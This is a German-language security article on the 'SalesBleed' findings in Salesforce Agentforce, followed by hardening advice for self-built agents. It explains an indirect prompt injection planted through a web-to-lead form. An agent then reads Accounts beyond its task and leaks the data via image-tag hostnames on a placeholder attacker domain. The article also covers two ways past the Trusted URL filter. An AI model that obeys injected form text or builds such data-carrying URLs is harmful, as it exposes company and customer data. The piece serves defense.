SalesBleed: Ein Webformular genügt — was Agentforce über Ihre eigenen Agenten lehrt

/01Was Zenity Labs am 24. September veröffentlicht hat

Am 24. September 2026 hat Zenity Labs unter dem Namen SalesBleed drei Schwachstellen in Salesforce Agentforce beschrieben. Die Forscher Alex Apostolov, João Donato, Avishai Efrat und Ayush RoyChowdhury hatten die Funde am 1. Juni 2026 an Salesforce gemeldet; Salesforce bestätigte am 2. Juni die Untersuchung, am 17. Juni lief die Behebung. Am 18. August waren die Korrekturen der Exfiltrationskette bestätigt, am 19. August prüfte Zenity die gehärtete URL-Sperre nach, am 20. August die Zuordnung der Slack-Aktion zum auslösenden Nutzer, und am 21. September 2026 landete die letzte Änderung: die Bestätigungspflicht für die Slack-Antwortaktion. Erst danach ging der Bericht online.

Zwei der drei Lücken ergeben zusammen eine Kette, die Zenity als Zero-Click-Datenabfluss bezeichnet: eine indirekte Prompt Injection über ein öffentliches Web-to-Lead-Formular und ein Abfluss über gerenderte Bild-URLs, der die URL-Sperre von Salesforce („Trusted URLs") umging. Die dritte Lücke betraf die Vorlage des Slack-Knowledge-Subagenten: Die Aktion „Reply to a Slack Thread" verschickte Nachrichten ohne Bestätigung und ohne Hinweis, welcher Nutzer den Agenten angestoßen hatte — ein Werkzeug für Phishing aus dem eigenen Haus. CVE-Nummern hat Salesforce nicht vergeben; alle drei Punkte sind nach Angaben von Zenity behoben.

Die Nachricht ist nicht, dass ein großer CRM-Hersteller eine Lücke hatte. Die Nachricht ist, wie klein der Angriff war: ein Formular, das jede Website hat, ein Agent mit Leserechten, die er für seine Aufgabe braucht, und eine Oberfläche, die Bilder lädt. Keine der drei Komponenten war für sich falsch konfiguriert.

/02Die Angriffskette in drei Schritten

Schritt 1 — Einschleusen. Web-to-Lead ist die Standardfunktion, mit der ein Kontaktformular auf der Website direkt einen Lead im CRM anlegt. Der Angreifer füllt das Formular aus und legt in ein Textfeld Anweisungen an den Agenten. Niemand muss das lesen; der Lead liegt im System und wartet.

Schritt 2 — Auslösen. Ein Mitarbeiter bittet den Agenten, seine neuen Leads zusammenzufassen. Der General-CRM-Subagent in der Standardkonfiguration liest den Lead, trifft auf die eingebetteten Anweisungen und folgt ihnen. Sein Werkzeug „Query Records" hatte Leserechte auf die Tabellen Leads und Accounts — also fragte er die Accounts ab, obwohl der Mitarbeiter nur Leads sehen wollte. Im Nachweis von Zenity waren das Firmennamen und Dealgrößen; die Injektion hätte alles abrufen können, was das Werkzeug erreicht.

Schritt 3 — Abfließen. Der Agent gibt die Daten nicht als Text aus, sondern baut sie in den Hostnamen eines Bild-Tags ein, sinngemäß <img src="https://Acme-712412.<angreifer>.oast.fun/…">. Die Chat-Oberfläche rendert externe Bildquellen ohne Nachfrage, der Browser löst den Hostnamen auf, und die DNS-Anfrage mit dem Firmennamen im Subdomain-Teil landet beim Nameserver des Angreifers. In Slack entfällt sogar das Rendern: Die automatische Link-Vorschau (Unfurling) ruft die URL ab. Der Mitarbeiter sieht ein kaputtes Bild oder gar nichts.

/03Warum die Trusted-URL-Prüfung nicht gehalten hat

Salesforce hatte genau für diesen Fall eine Schutzschicht: Vor der Anzeige werden URLs aus Agentenantworten entfernt, die nicht auf einer Vertrauensliste stehen. Zenity fand zwei Randfälle, in denen die Prüfung eine URL nicht als URL erkannte, der Browser aber schon.

• Unbekannte Endung. Die Erkennung arbeitete mit einer festen Liste von Top-Level-Domains. Eine Adresse auf .fun galt nicht als Hostname und blieb stehen.
• Abschlusszeichen. Geschweifte und eckige Klammern beendeten für die Prüfung die URL, für den Browser nicht. https://…oast.fun/{email} wurde nicht geschwärzt, aber vollständig aufgerufen.

Beide Fehler haben dieselbe Ursache: Zwei Komponenten — Prüfung und Darstellung — hatten unterschiedliche Vorstellungen davon, was eine URL ist. Dieses Muster ist älter als Sprachmodelle; aus Webanwendungen kennt man es als Parser-Differential. Neu ist nur, dass die Komponente, die den Text schreibt, selbst von außen gesteuert werden kann. Das Modell hat die URL nicht erfunden, es hat sie aus der Injektion übernommen und mit Daten gefüllt.

In der Praxis: Eine Sperrliste für URLs in Modellausgaben verliert immer gegen den nächsten Randfall. Was hält, ist eine Positivliste auf Netzebene — dazu gleich mehr.

/04Drei Bedingungen, die jeden Agenten verwundbar machen

Streichen Sie Salesforce aus der Geschichte und es bleibt ein Bauplan, der auf jeden selbst gebauten Agenten passt. Verwundbar ist ein Agent, wenn drei Bedingungen gleichzeitig gelten:

1. Er liest ungeprüfte Fremdeingaben. Webformulare, eingehende E-Mails, Support-Tickets, PDF-Anhänge, Webseiten, Kalendereinladungen — alles, was ein Außenstehender schreiben kann, ist eine mögliche Injektion. Das gilt auch für Inhalte, die über RAG aus einem Dokumentenbestand kommen, in den jemand von außen schreiben konnte.
2. Er erreicht interne Daten. Ein Werkzeug mit Leserecht auf eine Tabelle, einen Mailserver, ein Wiki, eine Vektordatenbank. Je breiter das Recht, desto größer die Beute. Der Agentforce-Agent brauchte Leads, hatte aber auch Accounts.
3. Er kann nach außen rendern oder senden. Jede Ausgabe, die in einem Browser angezeigt wird, kann Bilder laden. Jedes Werkzeug, das eine URL abruft, eine Mail schickt oder eine Slack-Nachricht postet, ist ein Kanal nach draußen.

Die meisten Agenten im Mittelstand erfüllen Bedingung 1 und 2 schon am ersten Tag, weil genau das ihr Zweck ist: externe Anfragen gegen interne Daten beantworten. Bedingung 3 erfüllen sie oft unbemerkt — die Chat-Oberfläche rendert Markdown, und Markdown kann Bilder. Wer die drei Bedingungen für seinen Agenten durchgeht, hat die Angriffsfläche in einer Viertelstunde benannt. Das Modell dahinter spielt dafür keine Rolle: Ein Sprachmodell mit 27 Milliarden Parametern im eigenen Rack folgt einer gut formulierten Injektion ebenso wie ein Frontier-Modell in der Cloud. Der Unterschied liegt in dem, was um das Modell herum gebaut ist.

/05Fünf Gegenmaßnahmen für selbst gebaute Agenten

Die Reihenfolge ist bewusst: Erst die Maßnahmen, die unabhängig vom Modell wirken, dann die, die das Modell einbeziehen. Eine Leitplanke im Prompt steht nicht auf der Liste — sie hilft gegen plumpe Injektionen und versagt gegen die nächste Formulierung.

1. Egress-Allowlist auf Netzebene

Der Host, auf dem der Agent und seine Werkzeuge laufen, darf nur die Ziele erreichen, die er für seine Aufgabe braucht: das CRM, das Wiki, den Modellendpunkt. Alles andere wird verworfen — auch DNS. Eine DNS-Anfrage an einen beliebigen Nameserver ist ein Ausgangskanal; der Agenten-Host spricht nur mit dem internen Resolver, und der löst nur Namen auf, die auf der Liste stehen. Gegen den SalesBleed-Abfluss hätte das genügt, unabhängig davon, ob die URL-Sperre den Randfall erkannt hätte.

2. Kein Rendering externer Bilder in Agentenantworten

Die Chat-Oberfläche lädt keine Bildquellen außerhalb der eigenen Domain. Markdown-Bilder und HTML-Bild-Tags in Modellausgaben werden in Text umgewandelt oder entfernt. Das ist eine Zeile in der Ausgabeverarbeitung und schließt den Kanal, über den SalesBleed, der ältere Bing-Chat-Fall und zahlreiche Funde in Coding-Assistenten gelaufen sind. Für Oberflächen, die Sie nicht selbst bauen — Slack, Teams, E-Mail-Clients — gilt: Der Agent gibt dort keine URLs aus, die nicht auf einer Positivliste stehen.

3. Trennung von Lese- und Schreibwerkzeugen

Ein Agent, der Leads zusammenfasst, bekommt ein Werkzeug, das Leads liest — nicht eines, das „Records" liest. Werkzeuge, die nach außen wirken (Mail senden, Slack posten, Webhook aufrufen), gehören in einen eigenen Agenten mit eigener Freigabestufe. Im Werkzeugaufruf steht das Recht im Schema, nicht in der Hoffnung, dass das Modell es schon richtig macht. Wer MCP-Server anbindet, prüft deren Werkzeugliste genauso: Ein Server mit zwölf Werkzeugen, von denen der Agent zwei braucht, ist zehn Werkzeuge zu breit.

4. Mensch vor Versand

Jede Aktion, die Daten verlässt oder verändert, wartet auf eine Bestätigung — und die Bestätigung zeigt, was genau gesendet wird, an wen, und wer den Agenten angestoßen hat. Genau diese beiden Punkte fehlten in der Slack-Aktion von Agentforce. Human-in-the-Loop ist kein Komfortmerkmal, sondern die Stelle, an der eine Injektion sichtbar wird, bevor sie wirkt.

5. Audit-Log mit Werkzeugaufrufen und Ausgaben

Protokolliert werden Eingabequelle, System-Prompt-Version, jeder Werkzeugaufruf mit Parametern, jede Ausgabe und jede ausgehende Verbindung des Hosts. Ohne dieses Protokoll wissen Sie nach einem Vorfall nicht, welche Leads die Injektion trugen und welche Datensätze abgefragt wurden. Mit Protokoll ist der Vorfall in einer Stunde eingegrenzt; der SalesBleed-Abfluss hätte in den DNS-Logs des Resolvers gestanden.

/06Egress-Regel und Werkzeugschema in der Praxis

Zwei Bausteine, die sich in einem Nachmittag umsetzen lassen. Erstens die Netzregel auf dem Agenten-Host (nftables, Linux). Der Host darf den internen Resolver, den Modellendpunkt und das CRM erreichen — sonst nichts. Namen statt Adressen gehören in den vorgeschalteten Proxy; auf Paketebene zählen Adressen und Ports.

# /etc/nftables.d/agent-egress.nft — Agenten-Host 10.20.30.10
table inet agent_egress {
  chain output {
    type filter hook output priority 0; policy drop;
    ct state established,related accept
    oif lo accept
    # nur der interne Resolver darf DNS beantworten
    ip daddr 10.20.0.53 udp dport 53 accept
    ip daddr 10.20.0.53 tcp dport 53 accept
    # Modellendpunkt (vLLM) und CRM-API
    ip daddr 10.20.40.11 tcp dport 8000 accept
    ip daddr 10.20.50.20 tcp dport 443 accept
    # alles andere protokollieren und verwerfen
    log prefix "agent-egress-drop " limit rate 10/minute
    counter drop
  }
}

Prüfen Sie die Regel, bevor Sie sich auf sie verlassen: nft list ruleset zeigt den Stand, dig @1.1.1.1 example.com vom Agenten-Host aus muss scheitern, und der Eintrag agent-egress-drop muss im Journal auftauchen. Ein Ausgangsfilter, den niemand getestet hat, ist eine Vermutung.

Zweitens das Werkzeugschema. Das Werkzeug beschreibt, was es darf — und der Code dahinter setzt es durch, nicht das Modell. Das Beispiel ist ein Schema im Stil von Function Calling, wie es vLLM und die gängigen Agenten-Frameworks entgegennehmen:

{
  "type": "function",
  "function": {
    "name": "leads_lesen",
    "description": "Liest Leads der letzten N Tage. Nur Lesen, nur Tabelle Leads, nur eigene Zuständigkeit.",
    "parameters": {
      "type": "object",
      "properties": {
        "tage": { "type": "integer", "minimum": 1, "maximum": 30 },
        "felder": {
          "type": "array",
          "items": { "type": "string", "enum": ["firma", "name", "quelle", "erstellt_am", "status"] }
        }
      },
      "required": ["tage"],
      "additionalProperties": false
    }
  }
}

Der Handler hinter leads_lesen läuft mit einem API-Schlüssel, der auf der CRM-Seite nur Leserecht auf Leads hat — nicht auf Accounts, nicht auf Contacts. Felder wie „Notizen" oder „Beschreibung", in denen Formulartext landet, werden dem Modell als Daten mit Herkunftsmarkierung übergeben, nicht als Teil des Prompts. Und das Werkzeug slack_antworten existiert in diesem Agenten gar nicht; es gehört in einen zweiten Agenten, dessen Aufrufe ein Mensch freigibt.

/07Was der Fall nicht beweist — Grenzen und Fallstricke

SalesBleed beweist nicht, dass Agenten im CRM eine schlechte Idee sind. Der Agent tat, was er sollte, in einer Umgebung, deren Annahmen nicht zusammenpassten. Wer daraus den Schluss zieht, Agenten von Kundendaten fernzuhalten, löst das Problem nicht — die Mitarbeiter kopieren die Leads dann in einen externen Chatbot, und damit ist die Angriffsfläche größer, nicht kleiner.

Die fünf Maßnahmen schließen die Injektion nicht. Sie schließen die Folgen. Das Modell wird weiter Anweisungen aus Fremdtext befolgen; das ist kein Fehler, den ein Hersteller mit dem nächsten Release behebt, sondern eine Eigenschaft der Architektur, die das BSI schon 2023 so beschrieben hat. Die Maßnahmen sorgen dafür, dass ein befolgter Befehl keinen Weg nach draußen und keine Daten außerhalb der Aufgabe findet.

Eine Egress-Allowlist bremst. Ein Agent, der Webrecherche machen soll, verträgt keine Positivliste mit drei Einträgen. Dann gehört die Recherche in einen eigenen Agenten ohne Zugriff auf interne Daten, und die Ergebnisse wandern als Daten — nicht als Anweisungen — zum zweiten. Wer beides in einem Agenten will, hat die drei Bedingungen aus Abschnitt /04 wieder vollständig erfüllt.

Werkzeugschemata sind nur so eng wie der Code dahinter. Ein Schema mit enum-Feldern nützt nichts, wenn der Handler die Werte in eine SOQL- oder SQL-Abfrage klebt. Die Rechte müssen auf der Datenseite enden: eigener Schlüssel, eigene Rolle, eigene Tabelle.

Und die Ausgabe ist nicht der einzige Kanal. Ein Agent mit Schreibrecht auf einen Kalender kann Daten in einen Termin schreiben, den ein externer Teilnehmer sieht. Ein Agent mit Mailrecht kann sie in einen Betreff setzen. Jede Senke zählt — nicht nur Bilder. Die Positivliste gilt für Ziele, nicht für Protokolle.

Wie die Schutzschichten gegen Prompt Injection grundsätzlich zusammenwirken und warum keine davon allein reicht, steht in Prompt-Injection abwehren — Schutzschichten und in Prompt Injection 2026: Warum sie unlösbar ist — und was schützt.

/08Entscheidung: Wer jetzt handeln muss und wer nicht

Sofort handeln muss, wer einen Agenten betreibt, der Formulare, Tickets oder eingehende Mails liest und dessen Antworten in einem Browser oder in Slack und Teams angezeigt werden. Das ist in den meisten Häusern der Support-Agent, der Vertriebsassistent oder der Posteingangs-Sortierer. Prüfen Sie zuerst Bedingung 3: Rendert die Oberfläche externe Bilder? Darf der Host beliebige DNS-Anfragen stellen? Beides lässt sich an einem Tag abstellen, ohne den Agenten zu verändern.

In den nächsten Wochen handeln sollte, wer Agenten mit Orchestrierung über mehrere Werkzeuge betreibt — ein Agent plant, andere führen aus. Hier ist die Trennung von Lese- und Schreibwerkzeugen die Maßnahme mit der größten Wirkung, und sie erfordert eine Entscheidung über Rollen, die Fachbereich und IT gemeinsam treffen müssen. Die Frage „Welcher Agent darf nach außen senden?" ist keine Formsache.

Nicht handeln muss, wer Sprachmodelle ausschließlich mit internen, kuratierten Daten betreibt — etwa einen Chat über das eigene Qualitätshandbuch, ohne Werkzeuge und ohne Fremdeingaben. Dort fehlt Bedingung 1. Dieser Zustand hält allerdings selten lange: Der erste Wunsch nach „auch die Kundenmails durchsuchen" bringt die Fremdeingabe ins System. Planen Sie die Egress-Regel also schon jetzt ein, auch wenn sie heute noch nichts zu tun hat.

Für ein Haus mit einem On-Premise-Modell im eigenen Rack ändert sich an der Bewertung nichts: Dass das Modell nicht in der Cloud steht, verhindert keine Injektion und keinen Abfluss über die Chat-Oberfläche. Es verschiebt nur, wo die Egress-Regel stehen muss — und die steht dann auf Hardware, die Sie selbst kontrollieren. Das ist ein Vorteil, aber nur, wenn jemand die Regel schreibt.

/09Prüfliste für die nächsten 30 Tage

Sieben Fragen, sieben Antworten mit Ja oder Nein. Wer mehr als zwei Ja ohne Maßnahme zählt, hat die Agentforce-Konfiguration vom Mai 2026 nachgebaut — nur ohne das Sicherheitsteam, das die Meldung von Zenity in elf Wochen abgearbeitet hat. Die Red-Teaming-Frage, die Sie sich stellen sollten, lautet nicht „Kann jemand unser Modell austricksen?", sondern „Was passiert, wenn es ihm gelingt?". Die Antwort steht in der Egress-Regel. Wie ein Gateway diese Regel für mehrere Agenten zentral durchsetzt, beschreibt MCP-Gateway: Egress-Kontrolle und Credential-Injection; den Zero-Click-Fall in KI-Browsern vom August behandelt PleaseFix: Zero-Click-Hijacking in allen KI-Browsern.